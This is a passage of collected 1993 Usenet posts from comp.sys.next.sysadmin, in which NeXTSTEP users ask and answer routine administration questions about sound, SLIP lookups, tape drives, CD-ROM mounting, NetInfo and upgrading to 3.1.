sound0 at 0x200e000
appears. Normal...
If I try to play a sound using the Workspace Inspector, this appears in
the Console:
Jun 23 16:25:26 Workspace[183]: Cannot play sound!
Nothing happens when I try to record.
However, in MonsterScope when I use the CODEC I get the error:
Codec recording error #31
sndplay in a shell does the following;
evolution:!# sndplay DoesNotCompute.snd
sndplay : Cannot play soundfile : DoesNotCompute.snd
Lastly, in Preferences.app,
The Slider for sound level is light grey, and cannot be moved using
the mouse. The Mute button is not functional. The slider can be
moved by hitting the sound buttons on the keyboard.
Help Help Help....
- eric fortune
fo6r@midway.uchicago.edu
NeXTmail accepted but not preferred
Newsgroups: comp.sys.next.sysadmin
From: harryt@world.std.com (Harry D Tirrell)
Subject: Banner Page
Message-ID: <C93pI7.4no@world.std.com>
Organization: The World Public Access UNIX, Brookline, MA
Date: Thu, 24 Jun 1993 01:01:18 GMT
Could some kind soul tell me how to turn on the banner
page for the NeXT local printer?
thanks
harry
--
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tirrellh@novavax.nova.edu bare no relationship to any
Newsgroups: comp.sys.next.sysadmin
From: louie@TransSys.COM (Louis A. Mamakos)
Subject: Re: Things that get stuck when SLIP is active
Message-ID: <20b1vq$4h1@wa3ymh.transsys.com>
Sender: usenet@grebyn.com
Organization: TransSys, Inc.
References: <1993Jun21.164314.1224@prim> <1993Jun22.210325.1145@alf.uib.no> <1993Jun23.183119.13535@news.uiowa.edu>
Date: Thu, 24 Jun 1993 02:02:34 GMT
>>> Does anyone know why certain commands (eg "su", or launching a new shell)
>>> sometimes hang for long periods of time when a SLIP connection is active? Is
>>> there anyway to prevent this frrom happening?
This problem occurs because /usr/etc/lookupd, which services requests
for information about host names, user names, etc. in NetInfo processes
requests synchronously. That is, while its busy trying to lookup some
internet host name, the request from some other process to fetch the
password file entry for "root" is not processed.
If you are using the DNS to resolve host names (because you have a
/etc/resolv.conf file), then it may take quite a while for the
resolver to give up. All this time, other requests are piling up for
/usr/etc/lookupd to process. [Actually there is a bug in lookupd in
this case; it incorrectly caches the temporary failure (can't lookup
name) as a "Name doesn't exist" error.]
> I have this problem when SLIP goes down. Sometimes (but not always) when
>my modem hangs up while characters are in the send queue, I cannot su to
>root to kill the tcldiald process. After a while, say 1-3 minutes, slip
>figures out that the modem is no longer connected and redials. Is this
>a common problem with this version of SLIP, or have I missed something in
>my configuration? I have the correct cable, and I think my modem is correctly
>sending the CD signal.
The tcldiald process has to poll the state of the DCD signal, since no
hangup signals are generated when you use the /dev/cufa device. This
polling only occurs once per minute. Perhaps this explains what you
are seeing?
--
Louis A. Mamakos
TransSys, Inc.
From: wmorse@erasure_sl.cc.emory.edu (William Morse)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Things that get stuck when SLIP is active
Date: 24 Jun 1993 02:43:03 GMT
Organization: Emory University, Dept of Math and CS
Message-ID: <20b4bnINNqp7@emory.mathcs.emory.edu>
References: <20b1vq$4h1@wa3ymh.transsys.com>
In article <20b1vq$4h1@wa3ymh.transsys.com> louie@TransSys.COM (Louis A.
Mamakos) writes:
> This problem occurs because /usr/etc/lookupd, which services requests
> for information about host names, user names, etc. in NetInfo processes
> requests synchronously. That is, while its busy trying to lookup some
> internet host name, the request from some other process to fetch the
> password file entry for "root" is not processed.
>
> If you are using the DNS to resolve host names (because you have a
> /etc/resolv.conf file), then it may take quite a while for the
> resolver to give up. All this time, other requests are piling up for
> /usr/etc/lookupd to process. [Actually there is a bug in lookupd in
> this case; it incorrectly caches the temporary failure (can't lookup
> name) as a "Name doesn't exist" error.]
>
--------------------------------------------------------------------------
So, now... for the million dollar question: What can we do to help the
problem? Call NeXT to ask for a fix? :) Is there an adjustment we can
make? etc.
Actually, I have found one thing that *helps* ---> turn off cslip. It
helped here for me at Emory... Why it did, I do not know.
William
Consult. / ITD ::::::::::::::::::::::::::::::::::::::::: Emory Law Student
Newsgroups: comp.sys.next.sysadmin
From: ian_stewart@pyrian.com (Ian H. Stewart)
Subject: Modem strings for UUCp connections
Message-ID: <C93yMp.FI@pyrian.com>
Sender: ian@pyrian.com (Ian H. Stewart)
Organization: Pharaoh Computer, Inc.
Date: Thu, 24 Jun 1993 04:18:25 GMT
I am using netcom and and want to use a T3000 modem.
What is the modem string I need to use?
If you have any other modem strings for netcomor psi, I would appreciate
you semding them also.
Thanks in advance,
ian
NeXTMail preferred!
From: js@c91024 (Juergen Sell)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Mail images
Date: 18 Jun 1993 13:27:41 GMT
Organization: ICEM Systems
Message-ID: <1vsfsd$cah@balu.hnv.icem.de>
References: <1993Jun17.205555.1486@cesar.uucp>
: I am a UUCP site dialing-out to my news/mail feed.
: Please send replys directly to my account.
me too, please.
__ _ Juergen Sell E-Mail juergen.sell@icem.de
| (_ Icem Systems ( NextMail welcome )
,| _) Deisterstr. 18 Phone +49-511-440688
/_| BRD 3000 Hannover 91 Fax +49-511-440617
Newsgroups: comp.sys.next.sysadmin
From: stez@sel.sub.org (Johannes Stezenbach)
Subject: NS3.1PR1 CD-ROM Problems
Message-ID: <1993Jun23.111106.1217@sel.sub.org>
Keywords: CD-ROM
Sender: news@sel.sub.org
Organization: ALCATEL SEL LP/STA
Date: Wed, 23 Jun 1993 11:11:06 GMT
After upgrading one of our NeXTstations to NeXTStep3.1PR1, reading
CD-ROMs with a CD-ROM filesystem (mount -t cfs) sometime fails.
The NeXT supplied CD-ROMs use a type 4.3 filesystem and seem to work ok,
so I think maybe it's a bug in the loadable CD-ROM filesystem
(/usr/filesystems/CDROM.fs).
Trying to read cfs type CD-ROMs results in the following errors:
After inserting and mounting a new CD-ROM, everything first seems to be
ok until after a while "file not found" messages are printed in
response to 'ls' commands in a shell window, and the Workspace displays
it's "unknown file" icon for some files.
After a little more time finally the whole CD-ROM becomes unreadable.
Ejecting and reinserting the CD-ROM makes it readable again.
I would like to know if other users have the same problems and if it
is fixed in the final NS3.1 release.
I include output from some shell commands to help you identify the problem:
next> /etc/mount
/dev/rsd1h on /NOVA type cfs (ro,removable,filesystem=CDROM)
..
next_7> ls -lR /NOVA >/tmp/NOVA
/NOVA/Apps/ArchiveUtils/DATer/Makefile not found
..
Console output when inserting the CD-ROM:
Disk is Write Protected
probing for CDROM
Jun 23 11:40:09 Workspace: Mounted scsi disk at /NOVA
We use a NeXT CD-ROM drive (SONY CD-ROM CDU-541 Rev 2.6a as sd1 at
sc0 target 4 lun 0)
We made a full installation from scratch.
From: gary@esl.com (Gary Merrick)
Newsgroups: comp.sys.next.sysadmin
Subject: NetInfo Manager wierdness -- HELP!
Message-ID: <2139@esl.ESL.COM>
Date: 24 Jun 93 08:44:59 GMT
Sender: news@esl.ESL.COM
Organization: ESL
Our NetInfo server decided not to work today, and we haven't been able
to discover why. Maybe you can help...
Basically, when a client on the network boots up, it receives it's own
hostname, IP address, and modified subnet mask from the NetInfo server
as it always has. However, that's about as far as it gets. The system
then hangs and complains about not being able to connect to the NetInfo
server (and type "c" to bring it up without NetInfo, etc.). <sigh>
Anybody got any ideas?
--
===============================================================
| Gary Merrick System/Network Admin from Hell |
| ESL, Inc. gary@esl.com |
| Sunnyvale, CA |
| |
| "You can twist perceptions, reality won't budge." -N. Peart |
===============================================================
From: ti6ls@tuhhco.rz.tu-harburg.de (Ludger Solbach)
Newsgroups: comp.sys.next.sysadmin
Subject: how to change mss?
Message-ID: <ti6ls.740909475@tuhhco>
Date: 24 Jun 93 08:11:15 GMT
Sender: usenet@rztsun.rz.tu-harburg.de
Hi, there!
We have problems getting data out of our subnet, because the (cheap) gateway
cannot handle the 4096 bytes mss of our NeXTs. I'd like to set a much lower
value like 576. How can this be done?
Regards,
Ludger.
*** solbach@tu-harburg.dbp.de
Newsgroups: comp.sys.next.sysadmin
From: robertn@penny (Robert Nicholson)
Subject: Wierd problems in server environment.
Distribution: world
Cc: ask_next@next.com
Date: Thu, 24 Jun 1993 09:58:13 +0000
Message-ID: <9306240939.AA06369@penny.demon.co.uk>
Sender: usenet@demon.co.uk
Here's a couple of interesting problems you will enjoy.
We have a network in which DL refuses to search on one machine only
(For all users using this machine). This is only the Next documentation
that it will not search on. I can search on a bookshelf from /LocalLibrary
with no problems.
The other problem we have is that RTFD information doesn't display in
NextDocumentation only on any machine under any user!
Specifically, we don't see any tiff/eps objects displayed in the text object.
We only get NextGraphic icons which when clicked display the approriate file
separately.
This is our NFS export config
nidump exports /marketing/penny
/usr/spool/mail -root=penny
/LocalApps -root=penny
/Ext1 -root=penny
/LocalLibrary
/NextApps
/NextLibrary
/NextDeveloper
/NextAdmin
/Derms
Newsgroups: comp.sys.next.sysadmin
From: joe@FreemanSoft.com (Joe Freeman)
Subject: Programatic way to eject WangDAT
Message-ID: <1993Jun24.033300.4294@FreemanSoft.com>
Sender: jfreeman@FreemanSoft.com
Organization: FreemanSoft Inc.
Distribution: usa
Date: Thu, 24 Jun 1993 03:33:00 GMT
I've been trying to figure out a way to get my WangDAT to eject
programaticly. I set the switch that tells it to unload on rewind with no
effect.
Does anyone know of a program or method that will eject a DAT tape?
--
Joe Freeman
FreemanSoft Inc. A NEXTSTEP software and consulting services company.
Electronic Mail: Joe@FreemanSoft.com (NeXT Mail)
Voice: 919.783.7033
From: lliou@sdcc3.ucsd.edu (Lily Liou )
Newsgroups: comp.sys.next.sysadmin
Subject: 525MB tape backups to multiple tapes
Message-ID: <51182@sdcc12.ucsd.edu>
Date: 24 Jun 93 10:04:50 GMT
Sender: news@sdcc12.ucsd.edu
Organization: University of California, San Diego
Has anyone come across this problem which is causing me
some serious distress in trying to back up my black system...
(preferably, has anyone come across the solution to this
problem :-), but any help or insight would be appreciated!)
I have a [full] one GB hard disk, which I need to do a level 0
backup of. The backup device I purchased (some time ago)
is a QIC(1/4 inch cartridge) 525MB tape drive (Wangtek).
One incompatibility between the tape drive and the black
NeXT has something to do with block size on the tapes. This
problem can be fixed (temporarily) with a IOCTL call to
do something to the SCSI information in the tape drive.
We use a version of setmtd, which works well.
So what's the problem? Well, the first tape we insert
(after performing setmtd) is written to in such a way that
525MB goes on. However, the tape backup needs a second
tape. The second tape however, only fits 262 MB, although
it takes the same amount of time (45min) to completely
stream through as the first tape took. (Is it filling half
the tape with zeroes maybe?). Well, even this would be
tolerable (using 3 tapes instead of 2) except that the Dump
command figures out when to stop using a 'tape length'
number you told it. This tape length is in units not of
feet (as you would suppose) but is related to the amount
of data you expect to offload. So since only half of the
525MB has been offloaded at 45min (and EOT), the drive
suddenly finds an unexpected EOT, and the Dump crashes.
The backup doesn't always behave this way. Sometimes even
the first tape is being written to at the lower density despite
exactly the same sequence of commands prior to start of Dump.
What we've found to work for initiating tapes to be written
at the higher density is to write to
it (Dump) from a 230 MB hard disk. Unfortunately this does
not cure the 'second tape' in the sequence. (We tried
initiating all our tapes by mock Dumps from the smaller drive).
Can anyone figure out why removing a tape cassette from
the drive causes this sort of change? Is there something I
can do to fix it (some IOCTL call or magic spell) so that
all tapes are written to at the same density? Or am I
stuck having to use 4 tapes at $35/ea to back up my hard
drive?
Oh yes, the setmtd fixes things so that the tape streams.
Any and all help appreciated. Thanks in advance.
-Lily
Lily Liou
lliou@sdcc3.ucsd.edu
Could this have anything to do with the disk drive having
512byte sectors?
From: lliou@sdcc3.ucsd.edu (Lily Liou )
Newsgroups: comp.sys.next.sysadmin
Subject: Re: 525MB tape backups to multiple tapes
Message-ID: <51183@sdcc12.ucsd.edu>
Date: 24 Jun 93 10:09:23 GMT
References: <51182@sdcc12.ucsd.edu>
Sender: news@sdcc12.ucsd.edu
Organization: University of California, San Diego
I forgot to mention that all the tapes I use are
the 525MB tapes, and are all physically the same.
-Lily
lliou@sdcc3.ucsd.edu
From: med@D012S648.zfe.siemens.de (T.Hoellrich)
Newsgroups: comp.sys.next.sysadmin
Subject: ppp & named & yp
Date: 24 Jun 1993 19:09:36 GMT
Organization: Siemens Nixdorf Informationssysteme AG
Distribution: world
Message-ID: <MED.93Jun24130936@D012S648.zfe.siemens.de>
Hi comp.sys.next.sysadmin!
I have just configured my NeXTStation to connect via
ppp (0.3) to the muc.de domain here in Munich (works
perfect!).
My problem: I want to use the NameServer installed on
the host I am connecting to. Therefore I configured
my local host as the yp-server (/etc/yp/ypinit -m) and
set the domainname to 'muc.de'. I also changed named.boot
to startup named in slave mode and installed the host
I am connecting to (where the NameServer-Process is
running) as 'forwarder'. I changed /etc/rc to start
named after nibindd.
Now, when I boot all I get is
'ypserver for domain muc.de not answering; still trying'
I have to interrupt the boot process and boot in
single user mode.
What am I doing wrong? What else to change to make
ypserv recognize that my local host is the yp-server?
Hope somebody else had already this problem.
Bye
Tobias
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\ o.O| phone: +49-89-359 03 54
=(_)= email: med@d012s648.zfe.siemens.de
U NeXTMail: tobias@nextix.muc.de
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
From: thompson@netcom.com (Eric Thompson)
Subject: How to get Icon for .gz or .tar.gz files (for Opener)?
Message-ID: <thompsonC9251I.L15@netcom.com>
Followup-To: comp.sys.next.sysadmin
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Wed, 23 Jun 1993 04:41:41 GMT
I want to be able to double-click .gz and .tar.gz files and have
them to go Opener. Right now they have an Edit icon and go to Edit.
I have edited the Opener table to include .tar.gz and .gz, and I can
drag files to Opener to have it open them correctly, but I would
like them th have an icon and be able to double-click them.
Any pointers? Thank you...
Eric
From: bu934@cleveland.Freenet.Edu (Richard Bisbey II)
Newsgroups: comp.sys.next.sysadmin
Subject: Installing NS 3.1 from scratch on a cube
Date: 23 Jun 1993 05:48:46 GMT
Organization: Case Western Reserve University, Cleveland, Ohio (USA)
Message-ID: <208qru$iji@usenet.INS.CWRU.Edu>
I received my NEXTSTEP 3.1 User CDROM, and decided to install it
(while waiting for the Developer CDROM) on my cube and a spare Fujitsu
drive:
Jun 22 21:49:39 loretta mach: FUJITSU M2263S-512 as sd0 at sc0 target 2 lun 0
Jun 22 21:49:39 loretta mach: Disk Label: Fujitsu-2
Jun 22 21:49:39 loretta mach: Disk Capacity 640MB, Device Block 512 bytes
The drive already had NS 3.0 on it. I also decided to install
NEXTSTEP from scratch (having been burned previously by upgrade
procedures). I booted up:
bsd()sdmach rootdev=sd1
and went through the dialog:
THIS IS NOT AN UPGRADE... yup, I know
Initialize (erase) disk... yup
Choose drive... sd0a
Do you *really* want to do it? you bet
Initializing hard disk...
after which I get:
ioctl(DKIOCBLKSIZ): Invalid argument
FUJITSU M2263S-512: Unknown diskname
followed by:
I can't do it babe, hit return to power this sucker off.
(Well, that wasn't really the message, but that's what it said to me... :-)
So what does one have to do to build a 3.1 disk from scratch? Don't
tell me, let me guess: Build NS 3.1 on an optical (I've already got NS
3.0 on optical), then use the BuildDisk app and the optical to build
the Fujitsu? I hope not!
Richard
bisbey@loretta.la.ca.us
From: foster@seismo.CSS.GOV (Glen Foster)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Getting Mail on NeXT in mixed environment
Date: 23 Jun 1993 12:00:49 GMT
Organization: Center for Seismic Studies, Arlington, VA
Message-ID: <209glh$is3@seismo.CSS.GOV>
References: <C8zz37.DuB@sybase.com> <1993Jun22.182219.17416@biztech.com>
The exported /usr/spool/mail directory has to be exported with root
access enabled for NeXT mail attachments to be decoded as expected
(at least that was the way it was in 2.1, maybe not any more).
--
Glen Foster
foster@css.gov
From: jburke@bodacious.csc.wsu.edu (John L. Burke)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Mounting CD-ROM, LoginWindow problem
Message-ID: <1993Jun23.160734.15541@serval.net.wsu.edu>
Date: 23 Jun 93 16:07:34 GMT
Article-I.D.: serval.1993Jun23.160734.15541
Sender: news@serval.net.wsu.edu (USENET News System)
Organization: Washington State University
Ok, I have two different problems going on here. Here goes.
1. I am trying to mount the CD-ROM device, and I can't seem to get the
mount command right. I have tried the following:
/etc/mount /dev/sd2h /CDROM
/etc/mount -t cfs /dev/sd2h /CDROM
and various other permutations. What should the proper command be?
2. My NeXT Cube died the other day. I tried to reboot it and it comes up
with numerous messages such as the following:
Jun 22 17:14:43 bongo loginwindow[146]: loginwindow: could not find
WindowServer port!
Jun 22 17:15:29 bongo loginwindow[158]: loginwindow: could not find
WindowServer port!
Jun 22 17:16:16 bongo loginwindow[162]: loginwindow: could not find
WindowServer port!
What happened? Did a file get corrupted? The /usr/adm/messages file
gives the message that the reboot is complete, but then it never clears
the monitor screen and gives me the login window. What should I do?
Thanks for any help anyone can give.
--
*********************************************************************
* John Burke * jburke@bodacious.csc.wsu.edu *
* Washington State University * NeXTStation Mono *
* Systems & Computing * NeXTMail Welcome! *
*********************************************************************
From: kevin@american.edu (Kevin Cruz)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: /etc/fstab vs NETINFO question - help is needed
Date: 23 Jun 1993 17:25:07 GMT
Organization: The American University Computing Center
Message-ID: <20a3ljINNnl9@au-ns.american.edu>
References: <1vr0en$e2o@gaia.ucs.orst.edu>
Tim Pugh writes
->
-> To load /etc/fstab entries into netinfo from the command line,
type:
->
-> mymachine> niload fstab / < /etc/fstab
->
-> This says to read NFS mounts from /etc/fstab and place them into
netinfo's mount database
-> for the root domain, "/", where it will be available for all NeXT
machines using this
-> network's NetInfo database.
->
You might also want to try using that with the -d option which
deletes older entries to the netinfo database.
mymachine> niload -d fstab / < /etc/fstab
This should be a better way to do it.
--Kevin
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Kevin Cruz E-mail: kevin@american.edu
Computer Science Dept. Phone: (202) 885-2767
The American University
Washington, D.C.
"I think Rodney King said it best when
he said, 'Ow, ow, ow, racism sucks!'" -- Denis Leary
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From: bu934@cleveland.Freenet.Edu (Richard Bisbey II)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Installing NS 3.1 from scratch on a cube
Date: 23 Jun 1993 17:29:44 GMT
Organization: Case Western Reserve University, Cleveland, Ohio (USA)
Message-ID: <20a3u8$32h@usenet.INS.CWRU.Edu>
Mike Perka at Next correctly diagnosed my problem (that I was using
sdmach kernel from my NS 3.0 to boot the NS 3.1 CD). Since I don't
have a floppy drive for the boot helper, I successfully used Mike's
suggested workaround:
... If you don't have a floppy drive and want
to use the existing 3.0 disk as the boot helper (as well as the
install target), then you can:
-- Boot off the existing 3.0 filesystem
-- Mount the 3.1 CD
-- Copy the 3.1 kernel from the CD to something like /newmach
-- Reboot using bsd()newmach rootdev=sd1
My thanks to to Mike and Next for the quick response.
From: robinc@jhunix.hcf.jhu.edu (Robert Delucca)
Newsgroups: comp.sys.next.sysadmin
Subject: What does "scintr program error" mean?
Date: 23 Jun 1993 13:32:21 -0400
Organization: Homewood Academic Computing, Johns Hopkins University, Baltimore, Md, USA
Message-ID: <20a435INNj3h@jhunix.hcf.jhu.edu>
Hello,
I have a Seagate 250mb internal drive which has been
spinning down and stopping (not the fan, the drive) for
no apparent reason. I checking the connections. I've
got a replacement drive on the way from Bell Atlantic.
When I booted, I got "scintr program error" at the very
beginning of the boot sequence in the ROM monitor. Nothing
else out of the ordinary. No console messages either.
What does this mean? Inquiring mind wants to know.
Thanks
Robert de Lucca
email robinc@jhunix.hcf.jhu.edu
From: grant@Manticore.COM (Grant J. Munsey)
Newsgroups: comp.sys.next.sysadmin
Subject: Is 3.0 to 3.1 an "easy" upgrade?
Message-ID: <382@gouche.UUCP>
Date: 23 Jun 93 15:56:35 GMT
Sender: grant@gouche.UUCP
What's the consensus on upgrading from 3.0 to 3.1 on a slab? Does it generally
go smoothly? Is there a doc somewhere that tells what the enhancements for
3.1 are or is it all bug fixes? Thanks,
--
----
Grant Munsey, Mainticore, Inc., (408)252-1135, fax: (408)446-9355
grant@manticore.com or uunet!ub-gate!gouche!grant
From: kevin@american.edu (Kevin Cruz)
Newsgroups: comp.sys.next.sysadmin
Subject: ~ ` | = \ / keys not working
Date: 23 Jun 1993 17:49:36 GMT
Organization: The American University Computing Center
Message-ID: <20a53gINNnt2@au-ns.american.edu>
I am having problems with the 4 keys on the top row of the number
pad, namely, the ` = / * ~ | \
keys. This problem only occurs when I use Terminal.app and Emacs;
not when I use any other applications or editors (as you can see).
I switched the 'Keyboards' from USA to Unix and vice versa and placed
English at the top of the language list in the Preference.app but
nothing changed.
I use several NeXTstations ( NeXTCube, NeXTStation, NeXTStation
turbo; running 3.0) and it is the same for all of them.
It seems that I'm the only one with this problem so I'm thinking it
has something to do with my .cshrc file but I have not clue as to
what it may be. I should also add that I have no problems with
those keys when I use a sun3 or SPARC workstation.
This is frustrating as I use the "~" and "|" quite often; I've had
enough by now, I can't handle it.
Any suggestions are greatly appreciated. Thanks.
--Kevin
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Kevin Cruz E-mail: kevin@american.edu
Computer Science Dept. Phone: (202) 885-2767
The American University
Washington, D.C.
"I think Rodney King said it best when
he said, 'Ow, ow, ow, racism sucks!'" -- Denis Leary
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From: ramesh@bodhi.esys.cwru.edu (Ramesh Dodamani)
Newsgroups: comp.sys.next.sysadmin
Subject: Networking not working- Solved!
Date: 23 Jun 1993 20:08:11 GMT
Organization: Case Western Reserve University, Cleveland, Ohio (USA)
Message-ID: <20ad7b$h69@usenet.INS.CWRU.Edu>
The Problem was that I did not have the terminators on either ends of the
cable.
Thanks to Regis Wilson,Bruce Gingery and the NeXT engineer for analysing
what could have been the problem.
Ramesh
Newsgroups: comp.sys.next.sysadmin
From: tmaas@rchland.vnet.ibm.com (Tony Maas)
Subject: Hard drive upgrade
Sender: news@rchland.ibm.com
Message-ID: <1993Jun23.205517.14308@rchland.ibm.com>
Date: Wed, 23 Jun 1993 20:55:17 GMT
Disclaimer: This posting represents the poster's views, not necessarily those of IBM
Organization: IBM Rochester
My situation:
I have an 8/200 mono NeXTstation. I want to replace
the internal 200 MB hard drive with a 1.2G 3.5" drive.
Can I just pull the 200, plug in the 1.2G(with terminator,
et al) and do a scratch install of 3.1? I have 3.0 on
my internal 200 right now.
If yes, please explain how to do the scratch install.
Thanks.
Tony Maas
IBM Rochester, MN
email at: tmaas@rchland.vnet.ibm.com
From: sears@tree.egr.uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Programatic way to eject WangDAT
Date: 24 Jun 1993 12:01:34 GMT
Organization: University of Houston
Distribution: usa
Message-ID: <20c52u$n43@menudo.uh.edu>
References: <1993Jun24.033300.4294@FreemanSoft.com>
In article <1993Jun24.033300.4294@FreemanSoft.com> joe@FreemanSoft.com (Joe
Freeman) writes:
#I've been trying to figure out a way to get my WangDAT to eject
#programaticly. I set the switch that tells it to unload on rewind with no
#effect.
#
#Does anyone know of a program or method that will eject a DAT tape?
#--
#Joe Freeman
#FreemanSoft Inc. A NEXTSTEP software and consulting services company.
#Electronic Mail: Joe@FreemanSoft.com (NeXT Mail)
#Voice: 919.783.7033
try "mt -f /dev/nrst0 offline"
Look in the man page for "mt" for more details...
--
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The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
NeXT System Administration * DoD#1967 '83 NightHawk 650SC
>>> SSI Diving Certification #755020059 <<<
"Programming is like sex: One mistake and you support it a lifetime."
From: kevin@american.edu (Kevin Cruz)
Newsgroups: comp.sys.next.sysadmin
Subject: ~ ` | = \ / keys not working (SOLVED)
Date: 24 Jun 1993 14:00:54 GMT
Organization: The American University Computing Center
Message-ID: <20cc2mINNalf@au-ns.american.edu>
References: <20a53gINNnt2@au-ns.american.edu>
Perhaps I did not make myself clear on the previous post as to what my problem
was. When I typed the ~ ` | = \ / keys, I would get some weird codes instead of
the actual characters.
As Alan Keahey suggested, I changed the preferences in Terminal.app, vt100
Emulation. I had the preferences set to 'generate vt100 codes' and it had to be
set for the 'strict vt100 emulation' instead. That also took care of Emacs as
well. Now, I can finally use the tilde and pipe keys again.
--Kevin
-------------------------------------------------------------
Kevin Cruz E-mail: kevin@american.edu
Computer Science Dept. Phone: (202) 885-2767
The American University
Washington, D.C.
From: andrew@cubetech.com (Andrew Loewenstern)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Things that get stuck when SLIP is active
Date: 24 Jun 1993 08:40:14 -0500
Organization: Cube Technologies, Inc
Message-ID: <20caru$7eg@valinor.cubetech.com>
References: <20b1vq$4h1@wa3ymh.transsys.com> <20b4bnINNqp7@emory.mathcs.emory.edu>
In article <20b4bnINNqp7@emory.mathcs.emory.edu> wmorse@erasure_sl.cc.emory.edu (William Morse) writes:
>So, now... for the million dollar question: What can we do to help the
>problem? Call NeXT to ask for a fix? :) Is there an adjustment we can
>make? etc.
>
>Actually, I have found one thing that *helps* ---> turn off cslip. It
>helped here for me at Emory... Why it did, I do not know.
This also affects PPP users, so I don't think it is related to cslip.
I would love to know how to fix this exceedingly irritating problem!
andrew
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From: yygold@yadin.phyast.pitt.edu (Yadin Y. Goldschmidt)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Syetem Hangs (was Re: 3.1 user upgrade)
Message-ID: <15033@blue.cis.pitt.edu>
Date: 24 Jun 93 14:19:52 GMT
References: <scott.740586911@shrug> <1993Jun21.135954.359@znext.cts.com>
Sender: news+@pitt.edu
james dehnert (zeke@znext.cts.com) wrote:
: In article <scott.740586911@shrug> S.A.McIntyre@durham.ac.uk (Scott A.
: McIntyre) writes:
: >
: > I'm dying to know:
: >
: > Has anyone on Black with 3.1 had the proliferation of <mach-tasks>
: > or are they really gone?
: >
: > Thanks.
: >
: > Scott
: >
: znext:/private/adm
: 7->ps -aux | grep mach-task
: zeke 342 1.6 1.3 1.61M 208K p1 S 0:00 grep mach-task
: root -1 0.0 0.0 0K 0K ? SW 0:00 <mach-task>
: root -1 0.0 0.0 0K 0K ? SW 0:00 <mach-task>
: root -1 0.0 0.0 0K 0K ? S 0:00 <mach-task>
: root -1 0.0 0.0 0K 0K ? SW< 0:00 <mach-task>
: root -1 0.0 0.0 0K 0K ? ?W< 0:00 <mach-task>
: root -1 0.0 0.0 0K 0K ? S 0:00 <mach-task>
This is the normal number of mach processes. I upgraded to 3.1 and
this number stays constant and does not proliferate like in 3.0.
: But worse than that, my system now seems to hang whenever it feels like it!!
: It is anoying to the point of making my system unusable because it is
: unreliable. I think I'll try doing a full install of the software instead of
I upgraded to 3.1 and experienced no problems. On the contrary
programs ru faster and smoother, scroll bars roll much faster,
no hang ups whatsoever.
You may have probably have some other problems, maybe network related.
: Zeke
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From: brian@systemix.com (Brian Cuthie)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Programatic way to eject WangDAT
Date: 24 Jun 1993 10:55:38 -0400
Organization: Systemix Software, Inc.
Distribution: usa
Message-ID: <20cf9aINNt87@systemix.com>
References: <1993Jun24.033300.4294@FreemanSoft.com> <20c52u$n43@menudo.uh.edu>
In article <20c52u$n43@menudo.uh.edu> sears@uh.edu writes:
>In article <1993Jun24.033300.4294@FreemanSoft.com> joe@FreemanSoft.com (Joe
>Freeman) writes:
>#I've been trying to figure out a way to get my WangDAT to eject
>#programaticly. I set the switch that tells it to unload on rewind with no
>#effect.
>#
>#Does anyone know of a program or method that will eject a DAT tape?
>#--
>#Joe Freeman
>#FreemanSoft Inc. A NEXTSTEP software and consulting services company.
>#Electronic Mail: Joe@FreemanSoft.com (NeXT Mail)
>#Voice: 919.783.7033
>
>try "mt -f /dev/nrst0 offline"
>
Oh, no. You have a WangDAT !? I bet it says PLI on the outside. It seems
that the WangDAT guys decided it would be real cool to have a switch that
causes the drive *NOT* to eject in response to the SCSI LOAD/UNLOAD command.
Of course, it does take the drive offline, making it unusable until you
either explicitly bring it on-line (either through another SCSI LOAD/UNLOAD
command, or by pressing the eject button and reinserting the tape). The
fact that some OEMs set this switch to not unload the tape is brain dead,
since there is no UNIX command that will bring the drive back on-line.
Anyway, there's an 8 position dip switch on the drive, make sure switch
4 is on. When on, this switch will cause the tape to be physically ejected
in response to an UNLOAD command.
Brian
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From: lorinr@altsys.com (Lorin Rivers III)
Subject: Problems in NS 3.1
Message-ID: <1993Jun24.152317.11129@altsys.com>
Keywords: NEXTSTEP 3.1, TickleServices, open
Organization: Altsys Corporation, Richardson, TX
Date: Thu, 24 Jun 1993 15:23:17 GMT
This is what happens when I try to use /usr/bin/open:
26> open -a Edit
open: can't open connection to Edit on local host.
Also, I am having trouble getting TickleServices to work. I have read
the problems section, talked with Scott Hess, rebooted, renamed my
.NeXT folder, and so forth (i.e., this is not a simple problem). Any
help would be most appreciated.
Thanks a zillion. If someone has answered this already, and I missed
it, my apologies. Our newsfeed was hosed for a while...
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From: pantonm@dannug.dk(Poul Anton Moeller)
Subject: Problems with NSI (25May-version) on GX
Message-ID: <C94FHr.G97@dannug.dk>
Keywords: NSI 3.1 Installation
Sender: pantonm@dannug.dk (Poul Anton Myller)
Organization: Danish NeXT-Users group
Date: Thu, 24 Jun 1993 10:22:39 GMT
Hi,
After I installed the NSI PreRelease 2 months ago on a GX Pro and have
been running it with no problems with an Ide disk, the Adaptec 1542 B and
Intel EtherExpress in a "Black" network, I now tried to install the final
schrink-wrap NSI release on the exact same configuration - nothing was
changed at all - and I have major problems.
When the installation is over and I am told to eject the floppy and boot
from the hard drive, it boots but stops after checking the disk (OK) and
writes:
Ide:Dma Error Count = 0x1dc4
Ide:SoftResetIde diagError = 0x1
Ide:Timeout while waiting for interupt Cmd=0ca
Obviously there is a difference between the PreRelease and the final
versions way to handle the hardware, but how do I solve this. I have tried
everything I could think of for three days now. So please help me.
Thank You,
Poul A. Miller
Danish NeXT User Group
From: sbart@nautilus.tamu.edu (Stephen Bartholomew)
Newsgroups: comp.sys.next.sysadmin
Subject: Help with Telebit T3000
Date: 24 Jun 1993 16:49:04 GMT
Organization: Texas A&M University, College Station, TX
Message-ID: <20clu0$sb@tamsun.tamu.edu>
Help!
I am trying to set up a SLIP connection between two NeXTs and I cannot
seem to get the host modem configured properly to allow dialin. If I try
to manually dialin with tip I do not recieve a login prompt. I believe I
have the /etc/ttys set correctly and the port turned on but alas, no
